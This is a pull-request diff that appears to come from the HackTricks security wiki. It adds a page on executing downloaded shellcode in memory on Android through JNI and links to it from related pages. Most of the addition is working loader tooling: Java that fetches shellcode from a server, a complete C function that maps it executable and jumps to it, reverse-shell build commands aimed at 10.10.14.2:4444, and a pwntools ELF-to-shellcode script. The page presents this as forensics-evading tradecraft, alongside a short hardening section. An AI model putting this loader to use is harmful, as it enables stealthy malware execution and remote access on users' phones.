Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion searchindex.js

This file was deleted.

1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -353,6 +353,7 @@
- [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md)
- [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md)
- [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md)
- [In Memory Jni Shellcode Execution](mobile-pentesting/android-app-pentesting/in-memory-jni-shellcode-execution.md)
- [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md)
- [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md)
- [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md)
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -173,7 +173,41 @@ To update pwntools
pwn update
```

{{#include ../../../banners/hacktricks-training.md}}
## ELF → raw shellcode packaging (loader_append)

Pwntools can turn a standalone ELF into a single raw shellcode blob that self‑maps its segments and transfers execution to the original entrypoint. This is ideal for memory‑only loaders (e.g., Android apps invoking JNI to execute downloaded bytes).

Typical pipeline (amd64 example)

1) Build a static, position‑independent payload ELF (musl recommended for portability):

```bash
musl-gcc -O3 -s -static -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```

2) Convert ELF → shellcode with pwntools:

```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
sc = asm(shellcraft.loader_append(elf.data, arch='amd64'))
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)} bytes, shellcode size={len(sc)} bytes")
```

3) Deliver sc to a memory loader (e.g., via HTTP[S]) and execute in‑process.

Notes
- loader_append embeds the original ELF program into the shellcode and emits a tiny loader that mmaps the segments and jumps to the entry.
- Be explicit about the architecture via context.clear(arch=...). arm64 is common on Android.
- Keep your payload’s code position‑independent and avoid assumptions about process ASLR/NX.

## References

- [Pwntools](https://docs.pwntools.com/en/stable/)
- [CoRPhone – ELF→shellcode pipeline used for Android in-memory execution](https://github.com/0xdevil/corphone)

{{#include ../../../banners/hacktricks-training.md}}
15 changes: 7 additions & 8 deletions src/mobile-pentesting/android-app-pentesting/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -228,6 +228,11 @@ bypass-biometric-authentication-android.md
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
- **Native functions** declared as `native`: `public native, System.loadLibrary, System.load`
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
- In-memory native code execution via JNI (downloaded shellcode → mmap/mprotect → call):

{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}

### **Other tricks**

Expand Down Expand Up @@ -862,17 +867,11 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)

## Yet to try

- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
- [CoRPhone — Android in-memory JNI execution and packaging pipeline](https://github.com/0xdevil/corphone)

{{#include ../../banners/hacktricks-training.md}}


Original file line number Diff line number Diff line change
@@ -0,0 +1,125 @@
# Android In-Memory Native Code Execution via JNI (shellcode)

{{#include ../../banners/hacktricks-training.md}}

This page documents a practical pattern to execute native payloads fully in memory from an untrusted Android app process using JNI. The flow avoids creating any on-disk native binary: download raw shellcode bytes over HTTP(S), pass them to a JNI bridge, allocate RX memory, and jump into it.

Why it matters
- Reduces forensic artifacts (no ELF on disk)
- Compatible with “stage-2” native payloads generated from an ELF exploit binary
- Matches tradecraft used by modern malware and red teams

High-level pattern
1) Fetch shellcode bytes in Java/Kotlin
2) Call a native method (JNI) with the byte array
3) In JNI: allocate RW memory → copy bytes → mprotect to RX → call entrypoint

Minimal example

Java/Kotlin side
```java
public final class NativeExec {
static { System.loadLibrary("nativeexec"); }
public static native int run(byte[] sc);
}

// Download and execute (simplified)
byte[] sc = new java.net.URL("https://your-server/sc").openStream().readAllBytes();
int rc = NativeExec.run(sc);
```

C JNI side (arm64/amd64)
```c
#include <jni.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>

static inline void flush_icache(void *p, size_t len) {
__builtin___clear_cache((char*)p, (char*)p + len);
}

JNIEXPORT jint JNICALL
Java_com_example_NativeExec_run(JNIEnv *env, jclass cls, jbyteArray sc) {
jsize len = (*env)->GetArrayLength(env, sc);
if (len <= 0) return -1;

// RW anonymous buffer
void *buf = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (buf == MAP_FAILED) return -2;

jboolean isCopy = 0;
jbyte *bytes = (*env)->GetByteArrayElements(env, sc, &isCopy);
if (!bytes) { munmap(buf, len); return -3; }

memcpy(buf, bytes, len);
(*env)->ReleaseByteArrayElements(env, sc, bytes, JNI_ABORT);

// Make RX and execute
if (mprotect(buf, len, PROT_READ | PROT_EXEC) != 0) { munmap(buf, len); return -4; }
flush_icache(buf, len);

int (*entry)(void) = (int (*)(void))buf;
int ret = entry();

// Optional: restore RW and wipe
mprotect(buf, len, PROT_READ | PROT_WRITE);
memset(buf, 0, len);
munmap(buf, len);
return ret;
}
```

Notes and caveats
- W^X/execmem: Modern Android enforces W^X; anonymous PROT_EXEC mappings are still generally allowed for app processes with JIT (subject to SELinux policy). Some devices/ROMs restrict this; fall back to JIT-allocated exec pools or native bridges when needed.
- Architectures: Ensure the shellcode architecture matches the device (arm64-v8a commonly; x86 only on emulators).
- Entrypoint contract: Decide a convention for your shellcode entry (no args vs structure pointer). Keep it position-independent (PIC).
- Stability: Clear instruction cache before jumping; mismatched cache can crash on ARM.

Packaging ELF → position‑independent shellcode
A robust operator pipeline is to:
- Build your exploit as a static ELF with musl-gcc
- Convert the ELF into a self‑loading shellcode blob using pwntools’ shellcraft.loader_append

Build
```bash
musl-gcc -O3 -s -static -fno-pic -o exploit exploit.c \
-DREV_SHELL_IP="\"10.10.14.2\"" -DREV_SHELL_PORT="\"4444\""
```

Transform ELF to raw shellcode (amd64 example)
```python
# exp2sc.py
from pwn import *
context.clear(arch='amd64')
elf = ELF('./exploit')
loader = shellcraft.loader_append(elf.data, arch='amd64')
sc = asm(loader)
open('sc','wb').write(sc)
print(f"ELF size={len(elf.data)}, shellcode size={len(sc)}")
```

Why loader_append works: it emits a tiny loader that maps the embedded ELF program segments in memory and transfers control to its entrypoint, giving you a single raw blob that can be memcpy’ed and executed by the app.

Delivery
- Host sc on an HTTP(S) server you control
- The backdoored/test app downloads sc and invokes the JNI bridge shown above
- Listen on your operator box for any reverse connection the kernel/user-mode payload establishes

Validation workflow for kernel payloads
- Use a symbolized vmlinux for fast reversing/offset recovery
- Prototype primitives on a convenient debug image if available, but always re‑validate on the actual Android target (kallsyms, KASLR slide, page-table layout, and mitigations differ)

Hardening/Detection (blue team)
- Disallow anonymous PROT_EXEC in app domains where possible (SELinux policy)
- Enforce strict code integrity (no dynamic native loading from network) and validate update channels
- Monitor suspicious mmap/mprotect transitions to RX and large byte-array copies preceding jumps

References
- [CoRPhone challenge repo (Android kernel pwn; JNI memory-only loader pattern)](https://github.com/0xdevil/corphone)
- [build.sh (musl-gcc + pwntools pipeline)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/build.sh)
- [exp2sc.py (pwntools shellcraft.loader_append)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exp2sc.py)
- [exploit.c TL;DR (operator/kernel flow, offsets, reverse shell)](https://raw.githubusercontent.com/0xdevil/corphone/main/exploit/exploit.c)
- [INSTRUCTIONS.md (setup notes)](https://github.com/0xdevil/corphone/blob/main/INSTRUCTIONS.md)

{{#include ../../banners/hacktricks-training.md}}
Original file line number Diff line number Diff line change
Expand Up @@ -101,6 +101,16 @@ This approach is useful for malware triage and JNI debugging where observing nat

---

### See also: in‑memory native code execution via JNI

A common attack pattern is to download a raw shellcode blob at runtime and execute it directly from memory through a JNI bridge (no on‑disk ELF). Details and ready‑to‑use JNI snippet here:

{{#ref}}
in-memory-jni-shellcode-execution.md
{{#endref}}

---

### Recent vulnerabilities worth hunting for in APKs

| Year | CVE | Affected library | Notes |
Expand Down Expand Up @@ -133,5 +143,6 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
- [CoRPhone — JNI memory-only execution pattern and packaging](https://github.com/0xdevil/corphone)

{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}